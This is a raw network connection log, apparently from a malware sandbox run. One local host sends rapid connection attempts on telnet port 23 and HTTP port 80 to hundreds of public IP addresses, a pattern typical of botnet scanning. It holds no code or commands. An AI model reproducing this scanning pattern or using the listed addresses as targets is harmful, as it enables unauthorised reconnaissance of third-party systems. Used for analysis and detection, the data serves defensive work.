Dec 27, 2024 05:02:50.621943951 CET	14219	23	192.168.2.23	4.38.98.31
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	88.239.133.251
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	121.80.212.49
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	212.51.143.239
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	87.217.7.226
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	79.117.4.88
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	17.48.126.238
Dec 27, 2024 05:02:50.621946096 CET	14219	23	192.168.2.23	37.128.211.40
Dec 27, 2024 05:02:50.621948957 CET	14219	23	192.168.2.23	9.222.5.177
Dec 27, 2024 05:02:50.621948957 CET	14219	23	192.168.2.23	132.136.114.89
Dec 27, 2024 05:02:50.621963978 CET	14219	23	192.168.2.23	212.186.24.210
Dec 27, 2024 05:02:50.621964931 CET	14219	23	192.168.2.23	198.244.75.179
Dec 27, 2024 05:02:50.621968031 CET	14219	23	192.168.2.23	217.211.81.175
Dec 27, 2024 05:02:50.621968031 CET	14219	23	192.168.2.23	96.82.31.14
Dec 27, 2024 05:02:50.621970892 CET	14219	23	192.168.2.23	4.114.175.34
Dec 27, 2024 05:02:50.621970892 CET	14219	23	192.168.2.23	211.96.185.117
Dec 27, 2024 05:02:50.621970892 CET	14219	23	192.168.2.23	47.114.82.199
Dec 27, 2024 05:02:50.621970892 CET	14219	23	192.168.2.23	128.197.124.3
Dec 27, 2024 05:02:50.621979952 CET	14219	23	192.168.2.23	47.244.249.47
Dec 27, 2024 05:02:50.621980906 CET	14219	23	192.168.2.23	151.238.214.24
Dec 27, 2024 05:02:50.621997118 CET	14219	23	192.168.2.23	84.177.39.62
Dec 27, 2024 05:02:50.622008085 CET	14219	23	192.168.2.23	1.37.228.42
Dec 27, 2024 05:02:50.622014046 CET	14219	23	192.168.2.23	128.79.221.204
Dec 27, 2024 05:02:50.622031927 CET	14219	23	192.168.2.23	155.213.18.248
Dec 27, 2024 05:02:50.622039080 CET	14219	23	192.168.2.23	209.33.26.56
Dec 27, 2024 05:02:50.622104883 CET	14219	23	192.168.2.23	83.96.167.210
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	161.170.73.55
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	96.1.254.241
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	210.166.219.78
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	138.129.56.72
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	44.202.236.40
Dec 27, 2024 05:02:50.622107029 CET	14219	23	192.168.2.23	77.157.220.205
Dec 27, 2024 05:02:50.622112036 CET	14219	23	192.168.2.23	162.80.45.235
Dec 27, 2024 05:02:50.622112036 CET	14219	23	192.168.2.23	138.17.145.104
Dec 27, 2024 05:02:50.622112036 CET	14219	23	192.168.2.23	116.80.225.225
Dec 27, 2024 05:02:50.622112989 CET	14219	23	192.168.2.23	67.146.237.221
Dec 27, 2024 05:02:50.622112989 CET	14219	23	192.168.2.23	120.108.42.213
Dec 27, 2024 05:02:50.622112989 CET	14219	23	192.168.2.23	152.16.0.139
Dec 27, 2024 05:02:50.622112989 CET	14219	23	192.168.2.23	190.156.55.61
Dec 27, 2024 05:02:50.622116089 CET	14219	23	192.168.2.23	102.177.246.54
Dec 27, 2024 05:02:50.622116089 CET	14219	23	192.168.2.23	19.36.164.64
Dec 27, 2024 05:02:50.622116089 CET	14219	23	192.168.2.23	189.232.73.138
Dec 27, 2024 05:02:50.622123003 CET	14219	23	192.168.2.23	112.35.6.184
Dec 27, 2024 05:02:50.622126102 CET	14219	23	192.168.2.23	69.54.170.188
Dec 27, 2024 05:02:50.622126102 CET	14219	23	192.168.2.23	72.30.56.228
Dec 27, 2024 05:02:50.622138977 CET	14219	23	192.168.2.23	196.60.126.144
Dec 27, 2024 05:02:50.622138977 CET	14219	23	192.168.2.23	161.43.159.159
Dec 27, 2024 05:02:50.622142076 CET	14219	23	192.168.2.23	204.85.232.203
Dec 27, 2024 05:02:50.622142076 CET	14219	23	192.168.2.23	168.204.18.250
Dec 27, 2024 05:02:50.622142076 CET	14219	23	192.168.2.23	81.210.8.127
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	170.214.67.67
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	194.90.45.87
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	98.209.208.8
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	111.69.152.144
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	44.191.14.107
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	218.248.47.42
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	20.165.121.142
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	156.204.52.174
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	44.232.81.3
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	111.65.33.3
Dec 27, 2024 05:02:50.622153997 CET	14219	23	192.168.2.23	191.242.76.234
Dec 27, 2024 05:02:50.622158051 CET	14219	23	192.168.2.23	217.203.197.185
Dec 27, 2024 05:02:50.622158051 CET	14219	23	192.168.2.23	162.117.119.107
Dec 27, 2024 05:02:50.622158051 CET	14219	23	192.168.2.23	8.85.69.28
Dec 27, 2024 05:02:50.622158051 CET	14219	23	192.168.2.23	219.17.244.169
Dec 27, 2024 05:02:50.622160912 CET	14219	23	192.168.2.23	35.17.177.230
Dec 27, 2024 05:02:50.622164965 CET	14219	23	192.168.2.23	99.28.242.165
Dec 27, 2024 05:02:50.622164965 CET	14219	23	192.168.2.23	76.255.111.59
Dec 27, 2024 05:02:50.622164965 CET	14219	23	192.168.2.23	216.138.184.250
Dec 27, 2024 05:02:50.622165918 CET	14219	23	192.168.2.23	97.57.249.97
Dec 27, 2024 05:02:50.622165918 CET	14219	23	192.168.2.23	38.41.31.193
Dec 27, 2024 05:02:50.622165918 CET	14219	23	192.168.2.23	97.198.10.228
Dec 27, 2024 05:02:50.622174978 CET	14219	23	192.168.2.23	54.30.121.171
Dec 27, 2024 05:02:50.622208118 CET	14219	23	192.168.2.23	73.175.222.132
Dec 27, 2024 05:02:50.622208118 CET	14219	23	192.168.2.23	129.11.91.11
Dec 27, 2024 05:02:50.622209072 CET	14219	23	192.168.2.23	130.139.157.181
Dec 27, 2024 05:02:50.622210979 CET	14219	23	192.168.2.23	60.246.37.194
Dec 27, 2024 05:02:50.622212887 CET	14219	23	192.168.2.23	208.188.179.119
Dec 27, 2024 05:02:50.622212887 CET	14219	23	192.168.2.23	62.249.60.108
Dec 27, 2024 05:02:50.622212887 CET	14219	23	192.168.2.23	145.13.230.215
Dec 27, 2024 05:02:50.622226000 CET	14219	23	192.168.2.23	122.126.116.248
Dec 27, 2024 05:02:50.622251034 CET	14219	23	192.168.2.23	12.179.3.144
Dec 27, 2024 05:02:50.622263908 CET	14219	23	192.168.2.23	162.178.222.56
Dec 27, 2024 05:02:50.622263908 CET	14219	23	192.168.2.23	2.176.134.83
Dec 27, 2024 05:02:50.622265100 CET	14219	23	192.168.2.23	205.20.199.35
Dec 27, 2024 05:02:50.622265100 CET	14219	23	192.168.2.23	188.3.148.102
Dec 27, 2024 05:02:50.622265100 CET	14219	23	192.168.2.23	184.35.45.125
Dec 27, 2024 05:02:50.622265100 CET	14219	23	192.168.2.23	134.194.51.25
Dec 27, 2024 05:02:50.622266054 CET	14219	23	192.168.2.23	106.120.38.210
Dec 27, 2024 05:02:50.622266054 CET	14219	23	192.168.2.23	141.190.157.140
Dec 27, 2024 05:02:50.622271061 CET	14219	23	192.168.2.23	140.69.51.228
Dec 27, 2024 05:02:50.622271061 CET	14219	23	192.168.2.23	201.89.237.232
Dec 27, 2024 05:02:50.622271061 CET	14219	23	192.168.2.23	208.57.120.25
Dec 27, 2024 05:02:50.622271061 CET	14219	23	192.168.2.23	191.216.130.165
Dec 27, 2024 05:02:50.622276068 CET	14219	23	192.168.2.23	64.49.21.144
Dec 27, 2024 05:02:50.622281075 CET	14219	23	192.168.2.23	154.124.58.192
Dec 27, 2024 05:02:50.622281075 CET	14219	23	192.168.2.23	159.117.93.36
Dec 27, 2024 05:02:50.622281075 CET	14219	23	192.168.2.23	178.185.103.172
Dec 27, 2024 05:02:50.622281075 CET	14219	23	192.168.2.23	64.216.44.169
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	69.244.48.113
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	111.86.116.135
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	217.120.47.227
Dec 27, 2024 05:02:50.622287035 CET	14219	23	192.168.2.23	205.86.35.180
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	137.189.200.211
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	84.56.30.58
Dec 27, 2024 05:02:50.622287035 CET	14219	23	192.168.2.23	193.211.40.248
Dec 27, 2024 05:02:50.622291088 CET	14219	23	192.168.2.23	90.250.157.123
Dec 27, 2024 05:02:50.622286081 CET	14219	23	192.168.2.23	115.74.9.160
Dec 27, 2024 05:02:50.622287035 CET	14219	23	192.168.2.23	41.218.226.16
Dec 27, 2024 05:02:50.622301102 CET	14219	23	192.168.2.23	196.120.211.182
Dec 27, 2024 05:02:50.622302055 CET	14219	23	192.168.2.23	57.202.11.216
Dec 27, 2024 05:02:50.622318029 CET	14219	23	192.168.2.23	140.251.235.95
Dec 27, 2024 05:02:50.622319937 CET	14219	23	192.168.2.23	2.131.61.33
Dec 27, 2024 05:02:50.622319937 CET	14219	23	192.168.2.23	160.28.142.172
Dec 27, 2024 05:02:50.622335911 CET	14219	23	192.168.2.23	27.75.41.180
Dec 27, 2024 05:02:50.622335911 CET	14219	23	192.168.2.23	43.34.185.19
Dec 27, 2024 05:02:50.622339010 CET	14219	23	192.168.2.23	114.233.238.204
Dec 27, 2024 05:02:50.622339010 CET	14219	23	192.168.2.23	196.166.17.94
Dec 27, 2024 05:02:50.622337103 CET	14219	23	192.168.2.23	191.92.17.140
Dec 27, 2024 05:02:50.622337103 CET	14219	23	192.168.2.23	78.132.216.225
Dec 27, 2024 05:02:50.622361898 CET	14219	23	192.168.2.23	205.7.77.115
Dec 27, 2024 05:02:50.622361898 CET	14219	23	192.168.2.23	220.30.205.60
Dec 27, 2024 05:02:50.622361898 CET	14219	23	192.168.2.23	77.206.183.209
Dec 27, 2024 05:02:50.622371912 CET	14219	23	192.168.2.23	112.227.241.38
Dec 27, 2024 05:02:50.622371912 CET	14219	23	192.168.2.23	64.123.169.205
Dec 27, 2024 05:02:50.622371912 CET	14219	23	192.168.2.23	14.235.249.163
Dec 27, 2024 05:02:50.622374058 CET	14219	23	192.168.2.23	43.185.249.178
Dec 27, 2024 05:02:50.622375011 CET	14219	23	192.168.2.23	23.184.52.71
Dec 27, 2024 05:02:50.622375011 CET	14219	23	192.168.2.23	49.53.253.157
Dec 27, 2024 05:02:50.622375965 CET	14219	23	192.168.2.23	1.38.135.142
Dec 27, 2024 05:02:50.622375011 CET	14219	23	192.168.2.23	183.97.92.152
Dec 27, 2024 05:02:50.622375011 CET	14219	23	192.168.2.23	9.36.238.242
Dec 27, 2024 05:02:50.622389078 CET	14219	23	192.168.2.23	140.173.189.65
Dec 27, 2024 05:02:50.622390032 CET	14219	23	192.168.2.23	192.88.82.3
Dec 27, 2024 05:02:50.622390032 CET	14219	23	192.168.2.23	130.126.237.220
Dec 27, 2024 05:02:50.622390032 CET	14219	23	192.168.2.23	27.151.96.48
Dec 27, 2024 05:02:50.622390985 CET	14219	23	192.168.2.23	117.10.38.31
Dec 27, 2024 05:02:50.622390985 CET	14219	23	192.168.2.23	186.202.181.160
Dec 27, 2024 05:02:50.622390985 CET	14219	23	192.168.2.23	176.150.104.65
Dec 27, 2024 05:02:50.622390985 CET	14219	23	192.168.2.23	90.247.95.136
Dec 27, 2024 05:02:50.622392893 CET	14219	23	192.168.2.23	14.5.237.210
Dec 27, 2024 05:02:50.622392893 CET	14219	23	192.168.2.23	68.52.29.72
Dec 27, 2024 05:02:50.622396946 CET	14219	23	192.168.2.23	17.229.9.10
Dec 27, 2024 05:02:50.622396946 CET	14219	23	192.168.2.23	191.254.90.96
Dec 27, 2024 05:02:50.622417927 CET	14219	23	192.168.2.23	141.196.94.253
Dec 27, 2024 05:02:50.622426033 CET	14219	23	192.168.2.23	65.198.175.211
Dec 27, 2024 05:02:50.622426033 CET	14219	23	192.168.2.23	108.118.197.5
Dec 27, 2024 05:02:50.622428894 CET	14219	23	192.168.2.23	138.103.232.158
Dec 27, 2024 05:02:50.622450113 CET	14219	23	192.168.2.23	203.191.127.133
Dec 27, 2024 05:02:50.650453091 CET	14220	80	192.168.2.23	87.147.211.121
Dec 27, 2024 05:02:50.650505066 CET	14220	80	192.168.2.23	125.194.197.121
Dec 27, 2024 05:02:50.650505066 CET	14220	80	192.168.2.23	168.85.227.243
Dec 27, 2024 05:02:50.650527954 CET	14220	80	192.168.2.23	67.125.153.20
Dec 27, 2024 05:02:50.650535107 CET	14220	80	192.168.2.23	79.175.41.165
Dec 27, 2024 05:02:50.650537968 CET	14220	80	192.168.2.23	189.243.148.118
Dec 27, 2024 05:02:50.650541067 CET	14220	80	192.168.2.23	213.28.167.232
Dec 27, 2024 05:02:50.650558949 CET	14220	80	192.168.2.23	104.213.151.107
Dec 27, 2024 05:02:50.650563002 CET	14220	80	192.168.2.23	128.45.180.221
Dec 27, 2024 05:02:50.650567055 CET	14220	80	192.168.2.23	170.2.217.50
Dec 27, 2024 05:02:50.650567055 CET	14220	80	192.168.2.23	39.212.48.114
Dec 27, 2024 05:02:50.650568008 CET	14220	80	192.168.2.23	105.203.18.221
Dec 27, 2024 05:02:50.650578976 CET	14220	80	192.168.2.23	49.2.119.169
Dec 27, 2024 05:02:50.650584936 CET	14220	80	192.168.2.23	212.145.247.188
Dec 27, 2024 05:02:50.650584936 CET	14220	80	192.168.2.23	165.28.43.242
Dec 27, 2024 05:02:50.650619984 CET	14220	80	192.168.2.23	38.37.205.205
Dec 27, 2024 05:02:50.650623083 CET	14220	80	192.168.2.23	161.232.121.138
Dec 27, 2024 05:02:50.650629997 CET	14220	80	192.168.2.23	68.117.85.8
Dec 27, 2024 05:02:50.650629997 CET	14220	80	192.168.2.23	91.62.118.207
Dec 27, 2024 05:02:50.650631905 CET	14220	80	192.168.2.23	129.126.214.108
Dec 27, 2024 05:02:50.650644064 CET	14220	80	192.168.2.23	143.123.50.19
Dec 27, 2024 05:02:50.650655985 CET	14220	80	192.168.2.23	36.236.101.45
Dec 27, 2024 05:02:50.650660992 CET	14220	80	192.168.2.23	51.112.21.221
Dec 27, 2024 05:02:50.650670052 CET	14220	80	192.168.2.23	75.13.169.2
Dec 27, 2024 05:02:50.650670052 CET	14220	80	192.168.2.23	9.14.224.181
Dec 27, 2024 05:02:50.650698900 CET	14220	80	192.168.2.23	19.62.118.208
Dec 27, 2024 05:02:50.650717974 CET	14220	80	192.168.2.23	141.255.182.214
Dec 27, 2024 05:02:50.650753975 CET	14220	80	192.168.2.23	198.39.77.1
Dec 27, 2024 05:02:50.650760889 CET	14220	80	192.168.2.23	129.254.34.154
Dec 27, 2024 05:02:50.650768995 CET	14220	80	192.168.2.23	198.250.219.78
Dec 27, 2024 05:02:50.650770903 CET	14220	80	192.168.2.23	92.76.164.112
Dec 27, 2024 05:02:50.650775909 CET	14220	80	192.168.2.23	193.238.167.26
Dec 27, 2024 05:02:50.650788069 CET	14220	80	192.168.2.23	2.50.83.95
Dec 27, 2024 05:02:50.650788069 CET	14220	80	192.168.2.23	37.120.71.26
Dec 27, 2024 05:02:50.650798082 CET	14220	80	192.168.2.23	165.114.90.109
Dec 27, 2024 05:02:50.650800943 CET	14220	80	192.168.2.23	102.172.172.233
Dec 27, 2024 05:02:50.650803089 CET	14220	80	192.168.2.23	102.173.226.0
Dec 27, 2024 05:02:50.650825977 CET	14220	80	192.168.2.23	101.44.170.187
Dec 27, 2024 05:02:50.650825977 CET	14220	80	192.168.2.23	51.130.115.45
Dec 27, 2024 05:02:50.650825977 CET	14220	80	192.168.2.23	37.6.236.194
Dec 27, 2024 05:02:50.650827885 CET	14220	80	192.168.2.23	36.4.92.78
Dec 27, 2024 05:02:50.650827885 CET	14220	80	192.168.2.23	216.92.43.232
Dec 27, 2024 05:02:50.650830030 CET	14220	80	192.168.2.23	13.12.33.31
Dec 27, 2024 05:02:50.650851965 CET	14220	80	192.168.2.23	58.103.110.160
Dec 27, 2024 05:02:50.650860071 CET	14220	80	192.168.2.23	44.76.172.153
Dec 27, 2024 05:02:50.650865078 CET	14220	80	192.168.2.23	159.49.144.122
Dec 27, 2024 05:02:50.650875092 CET	14220	80	192.168.2.23	31.83.174.142
Dec 27, 2024 05:02:50.650875092 CET	14220	80	192.168.2.23	210.217.135.243
Dec 27, 2024 05:02:50.650892019 CET	14220	80	192.168.2.23	58.165.132.183
Dec 27, 2024 05:02:50.650895119 CET	14220	80	192.168.2.23	84.204.131.88
Dec 27, 2024 05:02:50.650896072 CET	14220	80	192.168.2.23	53.54.108.106
Dec 27, 2024 05:02:50.650896072 CET	14220	80	192.168.2.23	158.195.22.63
Dec 27, 2024 05:02:50.650896072 CET	14220	80	192.168.2.23	121.72.68.128
Dec 27, 2024 05:02:50.650908947 CET	14220	80	192.168.2.23	202.140.194.16
Dec 27, 2024 05:02:50.650914907 CET	14220	80	192.168.2.23	49.211.16.34
Dec 27, 2024 05:02:50.650916100 CET	14220	80	192.168.2.23	79.92.152.212
Dec 27, 2024 05:02:50.650934935 CET	14220	80	192.168.2.23	60.61.219.130
Dec 27, 2024 05:02:50.650969028 CET	14220	80	192.168.2.23	100.23.68.97
Dec 27, 2024 05:02:50.650974035 CET	14220	80	192.168.2.23	142.215.225.230
Dec 27, 2024 05:02:50.650990009 CET	14220	80	192.168.2.23	45.213.194.134
Dec 27, 2024 05:02:50.650990963 CET	14220	80	192.168.2.23	38.105.90.49
Dec 27, 2024 05:02:50.650991917 CET	14220	80	192.168.2.23	132.25.125.146
Dec 27, 2024 05:02:50.650996923 CET	14220	80	192.168.2.23	115.206.5.178
Dec 27, 2024 05:02:50.651006937 CET	14220	80	192.168.2.23	20.46.107.118
Dec 27, 2024 05:02:50.651009083 CET	14220	80	192.168.2.23	51.69.120.213
Dec 27, 2024 05:02:50.651021957 CET	14220	80	192.168.2.23	25.226.244.227
Dec 27, 2024 05:02:50.651021957 CET	14220	80	192.168.2.23	136.210.33.131
Dec 27, 2024 05:02:50.651026964 CET	14220	80	192.168.2.23	42.15.70.205
Dec 27, 2024 05:02:50.651035070 CET	14220	80	192.168.2.23	63.56.160.255
Dec 27, 2024 05:02:50.651036978 CET	14220	80	192.168.2.23	186.108.74.195
Dec 27, 2024 05:02:50.651038885 CET	14220	80	192.168.2.23	120.190.92.222
Dec 27, 2024 05:02:50.651046991 CET	14220	80	192.168.2.23	103.35.224.103
Dec 27, 2024 05:02:50.651072979 CET	14220	80	192.168.2.23	73.226.89.225
Dec 27, 2024 05:02:50.651073933 CET	14220	80	192.168.2.23	43.244.180.57
Dec 27, 2024 05:02:50.651073933 CET	14220	80	192.168.2.23	110.124.226.101
Dec 27, 2024 05:02:50.651076078 CET	14220	80	192.168.2.23	44.156.170.236
Dec 27, 2024 05:02:50.651081085 CET	14220	80	192.168.2.23	107.182.52.167
Dec 27, 2024 05:02:50.651092052 CET	14220	80	192.168.2.23	106.176.128.130
Dec 27, 2024 05:02:50.651093006 CET	14220	80	192.168.2.23	197.250.173.194
Dec 27, 2024 05:02:50.651104927 CET	14220	80	192.168.2.23	222.193.78.57
Dec 27, 2024 05:02:50.651113033 CET	14220	80	192.168.2.23	157.229.114.131
Dec 27, 2024 05:02:50.651113987 CET	14220	80	192.168.2.23	221.129.152.155
Dec 27, 2024 05:02:50.651113987 CET	14220	80	192.168.2.23	211.161.224.175
Dec 27, 2024 05:02:50.651124001 CET	14220	80	192.168.2.23	186.48.51.122
Dec 27, 2024 05:02:50.651141882 CET	14220	80	192.168.2.23	124.128.25.44
Dec 27, 2024 05:02:50.651144028 CET	14220	80	192.168.2.23	190.44.24.60
Dec 27, 2024 05:02:50.651144028 CET	14220	80	192.168.2.23	188.46.248.160
Dec 27, 2024 05:02:50.651146889 CET	14220	80	192.168.2.23	165.142.91.112
Dec 27, 2024 05:02:50.651160002 CET	14220	80	192.168.2.23	86.59.62.5
Dec 27, 2024 05:02:50.651161909 CET	14220	80	192.168.2.23	19.101.51.213
Dec 27, 2024 05:02:50.651161909 CET	14220	80	192.168.2.23	209.149.37.142
Dec 27, 2024 05:02:50.651174068 CET	14220	80	192.168.2.23	12.189.237.244
Dec 27, 2024 05:02:50.651179075 CET	14220	80	192.168.2.23	62.178.107.109
Dec 27, 2024 05:02:50.651182890 CET	14220	80	192.168.2.23	73.89.83.26
Dec 27, 2024 05:02:50.651185989 CET	14220	80	192.168.2.23	199.27.58.21
Dec 27, 2024 05:02:50.651212931 CET	14220	80	192.168.2.23	84.222.16.107
Dec 27, 2024 05:02:50.651213884 CET	14220	80	192.168.2.23	217.169.146.112
Dec 27, 2024 05:02:50.651213884 CET	14220	80	192.168.2.23	107.12.16.60
Dec 27, 2024 05:02:50.651215076 CET	14220	80	192.168.2.23	128.233.220.67
Dec 27, 2024 05:02:50.651215076 CET	14220	80	192.168.2.23	90.110.26.147
Dec 27, 2024 05:02:50.651216030 CET	14220	80	192.168.2.23	118.200.240.136
Dec 27, 2024 05:02:50.651226997 CET	14220	80	192.168.2.23	221.196.94.143
Dec 27, 2024 05:02:50.651226997 CET	14220	80	192.168.2.23	117.167.23.194
Dec 27, 2024 05:02:50.651233912 CET	14220	80	192.168.2.23	134.166.10.83
Dec 27, 2024 05:02:50.651251078 CET	14220	80	192.168.2.23	210.106.17.85
Dec 27, 2024 05:02:50.651252031 CET	14220	80	192.168.2.23	122.84.243.30
Dec 27, 2024 05:02:50.651261091 CET	14220	80	192.168.2.23	103.136.37.135
Dec 27, 2024 05:02:50.651283026 CET	14220	80	192.168.2.23	112.223.208.68
Dec 27, 2024 05:02:50.651283026 CET	14220	80	192.168.2.23	23.106.130.102
Dec 27, 2024 05:02:50.651284933 CET	14220	80	192.168.2.23	138.252.242.213
Dec 27, 2024 05:02:50.651287079 CET	14220	80	192.168.2.23	209.99.129.16
Dec 27, 2024 05:02:50.651299953 CET	14220	80	192.168.2.23	123.51.87.153
Dec 27, 2024 05:02:50.651300907 CET	14220	80	192.168.2.23	223.249.222.212
Dec 27, 2024 05:02:50.651324034 CET	14220	80	192.168.2.23	204.227.45.64
Dec 27, 2024 05:02:50.651325941 CET	14220	80	192.168.2.23	154.55.25.241
Dec 27, 2024 05:02:50.651331902 CET	14220	80	192.168.2.23	100.54.134.40
Dec 27, 2024 05:02:50.651335001 CET	14220	80	192.168.2.23	78.240.238.42
Dec 27, 2024 05:02:50.651340961 CET	14220	80	192.168.2.23	104.38.157.158
Dec 27, 2024 05:02:50.651354074 CET	14220	80	192.168.2.23	62.55.148.49
Dec 27, 2024 05:02:50.651355028 CET	14220	80	192.168.2.23	153.181.110.227
Dec 27, 2024 05:02:50.651360989 CET	14220	80	192.168.2.23	184.183.135.49
Dec 27, 2024 05:02:50.651362896 CET	14220	80	192.168.2.23	198.165.51.136
Dec 27, 2024 05:02:50.651374102 CET	14220	80	192.168.2.23	118.238.7.247
Dec 27, 2024 05:02:50.651380062 CET	14220	80	192.168.2.23	115.163.129.196
Dec 27, 2024 05:02:50.651390076 CET	14220	80	192.168.2.23	20.20.156.122
Dec 27, 2024 05:02:50.651390076 CET	14220	80	192.168.2.23	162.84.207.86
Dec 27, 2024 05:02:50.651390076 CET	14220	80	192.168.2.23	173.11.32.2
Dec 27, 2024 05:02:50.651396990 CET	14220	80	192.168.2.23	156.33.26.248
Dec 27, 2024 05:02:50.651439905 CET	14220	80	192.168.2.23	192.33.42.100
Dec 27, 2024 05:02:50.651439905 CET	14220	80	192.168.2.23	101.109.122.3
Dec 27, 2024 05:02:50.651443958 CET	14220	80	192.168.2.23	104.131.179.101
Dec 27, 2024 05:02:50.651448011 CET	14220	80	192.168.2.23	46.52.85.87
Dec 27, 2024 05:02:50.651453972 CET	14220	80	192.168.2.23	208.107.177.206
Dec 27, 2024 05:02:50.651465893 CET	14220	80	192.168.2.23	50.134.34.159
Dec 27, 2024 05:02:50.651484013 CET	14220	80	192.168.2.23	70.241.202.145
Dec 27, 2024 05:02:50.651484013 CET	14220	80	192.168.2.23	206.37.124.7
Dec 27, 2024 05:02:50.651484013 CET	14220	80	192.168.2.23	77.90.71.123
Dec 27, 2024 05:02:50.651487112 CET	14220	80	192.168.2.23	94.26.11.124
Dec 27, 2024 05:02:50.651488066 CET	14220	80	192.168.2.23	46.238.193.55
Dec 27, 2024 05:02:50.651494026 CET	14220	80	192.168.2.23	179.248.3.79
Dec 27, 2024 05:02:50.651494026 CET	14220	80	192.168.2.23	159.191.50.122
Dec 27, 2024 05:02:50.651494026 CET	14220	80	192.168.2.23	83.4.95.159
Dec 27, 2024 05:02:50.651506901 CET	14220	80	192.168.2.23	14.78.105.123
Dec 27, 2024 05:02:50.651506901 CET	14220	80	192.168.2.23	222.109.144.254
Dec 27, 2024 05:02:50.651511908 CET	14220	80	192.168.2.23	183.104.141.46
Dec 27, 2024 05:02:50.651529074 CET	14220	80	192.168.2.23	151.168.157.18
Dec 27, 2024 05:02:50.651530981 CET	14220	80	192.168.2.23	129.156.79.250
Dec 27, 2024 05:02:50.651530981 CET	14220	80	192.168.2.23	192.53.230.15
Dec 27, 2024 05:02:50.651544094 CET	14220	80	192.168.2.23	78.104.170.135
Dec 27, 2024 05:02:50.651544094 CET	14220	80	192.168.2.23	93.235.146.10
Dec 27, 2024 05:02:50.651546955 CET	14220	80	192.168.2.23	138.56.170.177
Dec 27, 2024 05:02:50.651551962 CET	14220	80	192.168.2.23	148.63.62.179
Dec 27, 2024 05:02:50.651556015 CET	14220	80	192.168.2.23	161.170.205.255
Dec 27, 2024 05:02:50.651563883 CET	14220	80	192.168.2.23	158.164.124.190
Dec 27, 2024 05:02:50.651566982 CET	14220	80	192.168.2.23	198.208.78.110
Dec 27, 2024 05:02:50.651571035 CET	14220	80	192.168.2.23	222.35.120.254
Dec 27, 2024 05:02:50.651571035 CET	14220	80	192.168.2.23	180.247.230.22
Dec 27, 2024 05:02:50.651571035 CET	14220	80	192.168.2.23	201.82.9.125
Dec 27, 2024 05:02:50.651571989 CET	14220	80	192.168.2.23	203.217.167.228
Dec 27, 2024 05:02:50.651582956 CET	14220	80	192.168.2.23	68.213.127.85
Dec 27, 2024 05:02:50.651596069 CET	14220	80	192.168.2.23	186.41.171.38
Dec 27, 2024 05:02:50.651597023 CET	14220	80	192.168.2.23	160.43.144.99
Dec 27, 2024 05:02:50.651607990 CET	14220	80	192.168.2.23	94.25.146.200
Dec 27, 2024 05:02:50.651608944 CET	14220	80	192.168.2.23	179.228.123.146
Dec 27, 2024 05:02:50.651609898 CET	14220	80	192.168.2.23	131.254.7.186
Dec 27, 2024 05:02:50.651616096 CET	14220	80	192.168.2.23	212.46.251.18
Dec 27, 2024 05:02:50.651622057 CET	14220	80	192.168.2.23	174.134.146.179
Dec 27, 2024 05:02:50.651634932 CET	14220	80	192.168.2.23	101.196.242.106
Dec 27, 2024 05:02:50.651643038 CET	14220	80	192.168.2.23	123.162.200.160
Dec 27, 2024 05:02:50.651643038 CET	14220	80	192.168.2.23	82.144.22.149
Dec 27, 2024 05:02:50.651643991 CET	14220	80	192.168.2.23	175.134.30.226
Dec 27, 2024 05:02:50.651643991 CET	14220	80	192.168.2.23	147.155.199.167
Dec 27, 2024 05:02:50.651655912 CET	14220	80	192.168.2.23	133.249.39.192
Dec 27, 2024 05:02:50.651659966 CET	14220	80	192.168.2.23	54.244.40.85
Dec 27, 2024 05:02:50.651671886 CET	14220	80	192.168.2.23	83.88.128.54
Dec 27, 2024 05:02:50.651673079 CET	14220	80	192.168.2.23	194.211.74.104
Dec 27, 2024 05:02:50.651674032 CET	14220	80	192.168.2.23	14.234.145.173
Dec 27, 2024 05:02:50.651674032 CET	14220	80	192.168.2.23	65.85.49.76
Dec 27, 2024 05:02:50.651683092 CET	14220	80	192.168.2.23	187.234.58.21
Dec 27, 2024 05:02:50.651684046 CET	14220	80	192.168.2.23	191.163.82.255
Dec 27, 2024 05:02:50.651686907 CET	14220	80	192.168.2.23	111.117.245.162
Dec 27, 2024 05:02:50.651686907 CET	14220	80	192.168.2.23	104.227.65.126
Dec 27, 2024 05:02:50.651689053 CET	14220	80	192.168.2.23	210.135.194.42
Dec 27, 2024 05:02:50.651699066 CET	14220	80	192.168.2.23	59.120.20.86
Dec 27, 2024 05:02:50.651715994 CET	14220	80	192.168.2.23	122.190.192.20
Dec 27, 2024 05:02:50.651719093 CET	14220	80	192.168.2.23	46.66.157.104
Dec 27, 2024 05:02:50.651719093 CET	14220	80	192.168.2.23	64.166.141.45
Dec 27, 2024 05:02:50.651720047 CET	14220	80	192.168.2.23	161.106.198.140
Dec 27, 2024 05:02:50.651724100 CET	14220	80	192.168.2.23	41.164.40.86
Dec 27, 2024 05:02:50.651724100 CET	14220	80	192.168.2.23	161.42.118.215
Dec 27, 2024 05:02:50.651736975 CET	14220	80	192.168.2.23	175.105.217.236
